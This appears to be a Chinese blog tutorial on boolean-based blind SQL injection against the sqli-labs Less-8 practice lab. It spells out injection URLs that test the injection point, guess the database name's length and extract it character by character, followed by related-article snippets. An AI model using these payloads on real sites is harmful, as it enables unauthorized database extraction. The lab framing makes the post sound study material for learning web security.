应用布尔盲注来爆库(1)

2023-11-12

先上道练习题Less-8

打开sqli-labs项目的练习题Less-8(http://192.168.3.2/sqli-labs/Less-8/),然后输入id=1参数,可以得到以下信息:

Less-8题目成功结果

输入有效id=1时,只提示成功(You are in …………),没有任何其它信息输入。这对于攻击者来说,无异于两眼一黑,什么也得不到。

盲注条件

根据上篇文章《基于错误信息的SQL盲注》,对题目做盲注,如下表:

注入ur 结果
http://192.168.3.2/sqli-labs/Less-8/?id=-1 or 1=1 失败
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1# 成功
http://192.168.3.2/sqli-labs/Less-8/?id=" or 1=1# 失败

于是找到注入URL

http://192.168.3.2/sqli-labs/Less-8/?id=’ or 1=1#

请注意在浏览器上使用%23代替#

使用布尔盲注来获取数据

找到了注入的条件,但成功没有任何数据显示。那怎么获取数据库里面的内容呢?

我小时候看香港电视剧比较多,经常出现这样的桥段:

当A向B了解一些重要信息时,但碍于一些信仰问题,总是不能直接回答,那怎么办法呢? B虽然不能向A说一些关于秘密的内容,但A可以向B问一些问题,B只需回答是或否就可以了。
这样B不触犯神灵,也没有向A”透露”秘密,但最终让A知道了整个秘密

布尔盲注,跟上面的桥段完全相同。

既然已经找到注入点了,那在后面增加一些条件测试,就可以知道条件是否成功了。比如:

http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select database()) = "test1")
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select database()) = "test2")

可以不停地使用暴力办法,将数据库名字不停地穷举,直到成功。

等等,这种办法跟穷举密码有什么两样呢,效率很低,耗时长,有什么更好的方法。

其实MySQL支持的SQL语句中提供了一系列的字符串操作函数,可以将字符的第一个,第二个,……,抽取出来,做布尔测试。

相当于

你的姓是赵,对不对 ? -- 不对
你的姓是张,对不对? -- 对了
你的名字是小明,对不对? --不对
你的名字是无忌,对不对? --对了
经过对每部分的问题和回答,可以知道是张无忌

如何猜测database()的内容

按上面的思路来试一下,先猜长度

http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select length(database())) = 1#
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select length(database())) = 2#
直到8时才成功
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select length(database())) = 8#

知道了database()长度为8,接下来就对每个字符做猜测。

http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and ascii(substr((select database()), 1, 1))=48#
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and ascii(substr((select database()), 1,1))=49#

http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and ascii(substr((select database()), 1,1))=115#

试到115时才成功,115是s字符的ASCII码,说明database()第一个字符是s,依次使用这个方法可以尝试出database()为security字符串。

这个过程主要是使用了MySQL上的substr函数和ascii函数。感兴趣的朋友可以google/baidu一下这两个函数的用法。
上述人工搜索过程太繁琐了,可以使用python脚本将这过程自动化。

下一篇讲如何编写这个python脚本,以及提供一个将MySQL数据库dump出来的脚本。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

应用布尔盲注来爆库(1) 的相关文章

  • sqli-labs:less-32(宽字节注入)

    宽字节注入 产生原因 1 mysql 在使用 GBK 编码的时候 会认为两个字符为一个汉字 例如 aa 5c 就是一个汉字 前一个 ascii 码大于 128 才能到汉字的范围 2 mysqli real escape string 函数转
  • BUUCTF WEB笔记之[极客大挑战2019] EasySQL、LoveSQL、BabySQL、HardSQL

    小白一个 记录一下解题过程 如有错误请指正 一 EasySQL 1 这里我们使用一句话万能密码就可以了 记得加上 1 or 1 1 2 登录就可以拿到flag 二 LoveSQL 网页里说用sqlmap是没有灵魂滴 但是还是手痒试了一下 发
  • [NCTF2019]SQLi:regexp正则注入

    文章目录 题目 regexp正则注入 1 模糊注入 2 布尔盲注的regexp注入 3 盲注脚本 4 使用 00进行注释 总结 收获 参考 题目 登陆框 给出后台查询语句sqlquery select from users where us
  • SQL注入时?id=1 and 1=1和?id=1 and 1=2的功能

    此文章是记录本人对知识理解的随手笔记 内容不肯定百分百正确 如有错误望指出并谅解 id 1 and 1 1 id 1 and 1 2 id 1 结论 若在GET请求中 id 1 and 1 1和 id 1 and 1 2都没有报错 则是字符
  • sqli-labs:less-2(数字型报错注入)

    贴上源代码
  • Kali-工具-sqlmap常见用法

    SQLmap常见用法 r 这个参数是将 抓到的请求包复制一个文件中然后使用此参数进行扫描 get post提交方法都支持 例如 rp txt 是抓取的数据包 sqlmap r rp txt 也可以加 p 指定注入点 sqlmap r rp
  • 2022年江西省中职组“网络空间安全”赛项模块B-网页渗透

    2022年中职组山西省 网络空间安全 赛项 B 10 网页渗透解析 不懂私信博主 联系方式 3260344435 一 竞赛时间 420分钟 共计7小时 吃饭一小时 二 竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 第 阶段 单兵模
  • sqli-labs:less-21

    和20题很像 然后一看cookie是一个base64编码的 解码一下 是Dumb 所以cookie一个是注入点 只是有个base64编码 随便提一下 base32 只有大写字母和数字数字组成 或者后面有三个等号 base64 只有大写字母和
  • 关于SQL注入报错:Illegal mix of collations for operation ‘UNION‘原因剖析与验证

    关于SQL注入报错 Illegal mix of collations for operation UNION 原因剖析与验证 今天练习了一下DVWA的SQL注入模块 使用了union注入时报错如下 Illegal mix of colla
  • CTFHUB SQL注入——时间盲注 附自己写的脚本

    介绍 时间盲注和上一篇布尔盲注一样都是盲注 都需要借助length ascii substr这些神奇的函数来猜测各项信息 它们的差别是猜测成功的依据 布尔盲注的话如果查询有结果 一般会有一个success flag 比如在上一题里就会返回q
  • SQLi-Labs 学习笔记(Less 51-65)

    点击打开链接 Less 51 本关的Sql语句为 plain view plain copy sql SELECT FROM users ORDER BY id 因为此处用的是执行多个针对数据库的查询函数 mysqli multi quer
  • 基于Sqli-Labs靶场的SQL注入-23~24关

    目录 Less23 注释符被过滤的情况下注入 爆破数据库名 爆破表名 爆破列名 爆破字段值 23关小结 Less24 二次注入 二次注入理解及原理 修改管理员账户密码 总结 Less23 注释符被过滤的情况下注入 首先我们进入23关 可以发
  • python脚本实现sql时间盲注

    这里用sqli labs master第10关举例 1 爆数据库长度 coding utf 8 import requests import datetime import time 获取数据库名长度 def database len fo
  • iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1 数字型注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2 字符型注入 宽字节注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL
  • Sqlmap的安装与简单使用

    一 概述 1 1 简介 sqlmap是一款开源的自动化渗透测试工具 可以扫描 发现并利用给定URL的SQL注入漏洞 检测动态页面中的get post参数 cookie http头 查看数据库数据 还可以访问文件系统 甚至能够执行操作系统命令
  • SQLi-Labs 学习笔记(Less 41-50)

    点击打开链接 Less 41 基于错误的POST型单引号字符型注入 先打开网页查看 Welcome Dhakkan 与之前讲的Less 40的区别 plain view plain copy sql SELECT FROM users WH
  • sqli-labs解题大法29 ~40

    Less 29 堆叠查询 在一条语句之后加上分号 然后接下一条语句 可以一次执行多条语句 order by 排序 可以 联合查询 可以 参考Less 1 Background 6 服务器 两层 架构 http www cnblogs com
  • 渗透测试——cookie注入

    1 cookie注入原理 Cookie最先是由Netscape 网景 公司提出的 Netscape官方文档中对Cookie的定义是这样的 Cookie是在HTTP协议下 服务器或脚本可以维护客户工作站上信息的一种方式 Cookie的用途非常
  • sqli-labs通关攻略54-65[Challenges]

    Advanced Injections 文章目录 Advanced Injections less 54 less 55 less 56 less 60 less 62 less 63 less 64 less 65 最后一篇补上 less
  • 【SQL注入-15】自动化注入案例—以sqli-labs-less9为例(利用sqlmap工具)

    目录 1 前言 2 自动化注入案例 以sqli labs less9为例 2 1 实验平台 2 2 注入前准备 2 3 判断注入点及注入类型 2 3 1 自动判断注入点及注入类型 2 3 2 手动判断注入点及注入点类型 2 4 爆库名 2

随机推荐

  • 弱网测试—Network-Emulator-Toolkit

    弱网测试 属于健壮性测试 怎么样去做弱网测试呢 一 安装弱网测试工具 Network Emulator Toolkit 推荐一个工具 Network Emulator Toolkit 这个工具的作用主要是设置丢包率和延时 1 安装与卸载 下
  • 怎么使用Web3.js开发一个简单的Dapp

    通过这篇文章 我们将学习 Dapps 和 Web3js 的基础知识 让我们了解一下基本术语 区块链 去中心化应用程序 以太坊 智能合约 web3js 区块链 区块链是一个可审计且不可逆的数据库 其中数据只能添加 在区块链中 数据可以作为块添
  • elasticSearch详细教程

    一 Elasticsearch简介 Elasticsearch是使用Java编写的一种开源搜索引擎 它在内部使用Luence做索引与搜索 通过对Lucene的封装 提供了一套简单一致的RESTful API Elasticsearch也是一
  • 数据结构中Java实现KMP与BF算法对比

    public class KMPANDBF public int indexBfCount SeqString s SeqString t int begin int slen tlen i begin j 0 int count 0 sl
  • Scipy

    10 1 import numpy as np import scipy optimize as opt m 20 n 10 A np random normal loc 10 scale 3 size m n b np random no
  • 【C语言】#文件操作#有5个学生,每个学生有3门课程的成绩,从键盘输入以上数据(包括学号、姓名、3门课成绩),计算出平均成绩,将原有数据和计算出的平均分数存放在磁盘文件stud中。

    题目 1 有5个学生 每个学生有3门课程的成绩 从键盘输入以上数据 包括学号 姓名 3门课成绩 计算出平均成绩 将原有数据和计算出的平均分数存放在磁盘文件stud中 设5名学生的学号 姓名和3门课成绩如下 在向文件stud写入数据后 应检查
  • Python 正则表达式RE知识学习

    正则表达式 Regular Expression 是一种强大的文本模式匹配工具 常用于在字符串中查找 替换 分割等操作 在 Python 中 可以使用内置的 re 模块来操作正则表达式 ChatGPT编写 下面是一些需要掌握的正则表达式知识
  • 《大五人格心理学》读书笔记

    这本书介绍了一下职场中的大五人格 具有不同人格特质的人适合干不同的工作 了解自己的人格特质 有利于自己的职业规划 了解同事的人格特质 有利于合作 1 宜人性 宜人性的心声 这对他人有什么影响VS 这对我有什么价值 宜人性的子维度 同理心 经
  • Nginx实现404页面的几种方法

    Nginx实现404页面的几种方法 第一种 Nginx自己的错误页面 第二种 反向代理的错误页面 第三种 Nginx解析php代码的错误页面 第四种 指定一个url地址 第一种 Nginx自己的错误页面 Nginx访问一个静态的html 页
  • JAVA单元测试框架-12-java代码重复执行失败的测试用例

    在使用testng执行测试用例时候 都会遇到测试用例执行失败 怎么再次执行失败的测试用例呢 官网给出了java代码执行测试的案例 每次执行完用例后会在test output目录路径下保存执行失败的测试用例 可以再次执行失败的测试用例来达到重
  • QT实现中英文键盘

    使用Qt中实现中英文键盘 支持各种linux嵌入式设备 实现思路 需要一个中文字体库 将字体库加载到一个Hash容器 字母和拼音作为key值 对应的中文作为value值 核心代码 include UKeyBoard h include ui
  • CSDN-markdown编辑器

    这里写自定义目录标题 欢迎使用Markdown编辑器 新的改变 功能快捷键 合理的创建标题 有助于目录的生成 如何改变文本的样式 插入链接与图片 如何插入一段漂亮的代码片 生成一个适合你的列表 创建一个表格 设定内容居中 居左 居右 Sma
  • 使用高德地图 vue-amap 中遇到的问题

    1 搜索组件进行搜索的时候 无论搜索哪个城市 地图一直固定在一个城市 我的是深圳
  • 基于Docker环境安装ElasticSearch

    1 搜索技术 搜索技术在我们日常生活的方方面面都会用到 例如 综合搜索网站 百度 谷歌等 电商网站 京东 淘宝的商品搜索 软件内数据搜索 我们用的开发工具 如Idea的搜索功能 这些搜索业务有一些可以使用数据库来完成 有一些却不行 因此我们
  • 【Java进阶篇】—— File类与IO流

    一 File类的使用 1 1 概述 File 类以及本章中的各种流都定义在 java io 包下 一个File对象代表硬盘或网络中可能存在的一个文件或文件夹 文件目录 File 能新建 删除 重命名 文件和目录 但 File不能访问文件内容
  • 数据结构视频教程 -《[北风网]C#版数据结构与算法高级教程》

    整个视频打包下载地址 史上最全的数据结构视频教程系列分享之 北风网 C 版数据结构与算法高级教程 转载请保留出处和链接 更多优秀资源请访问 我是码农 数据结构是计算机存储 组织数据的方式 数据结构是指相互之间存在一种或多种特定关系的数据元素
  • Redis可视化工具无法连接Redis(安装在服务器上面)的解决方案

    redis可视化工具连接安装在阿里云上面的redis时 一直连接不上 你可以按下面三步去完美解决 第一 确保redis正常启动 我这主要解决redis可视化工具无法连接redis哈 具体redis安装我就不讲了奥 首先通过指令 cd usr
  • 区块链共识机制技术一——POW(工作量证明)共识机制

    什么是共识机制 所谓 共识机制 是通过特殊节点的投票 在很短的时间内完成对交易的验证和确认 对一笔交易 如果利益不相干的若干个节点能够达成共识 我们就可以认为全网对此也能够达成共识 区块链作为一个去中心化的分布式账本系统 然而在实际运行中
  • RPC通信基本原理 -- 浅析RPC远程过程调用基本原理

    一 RPC基本概念 1 1 RPC简介 RPC 的全称是 Remote Procedure Call是一种进程间通信方式 RPC只是一个概念 而不是具体的协议或框架 它允许程序调用另一个地址空间 通常是共享网络的另一台机器上 的过程或函数
  • 应用布尔盲注来爆库(1)

    先上道练习题Less 8 打开sqli labs项目的练习题Less 8 http 192 168 3 2 sqli labs Less 8 然后输入id 1参数 可以得到以下信息 输入有效id 1时 只提示成功 You are in 没有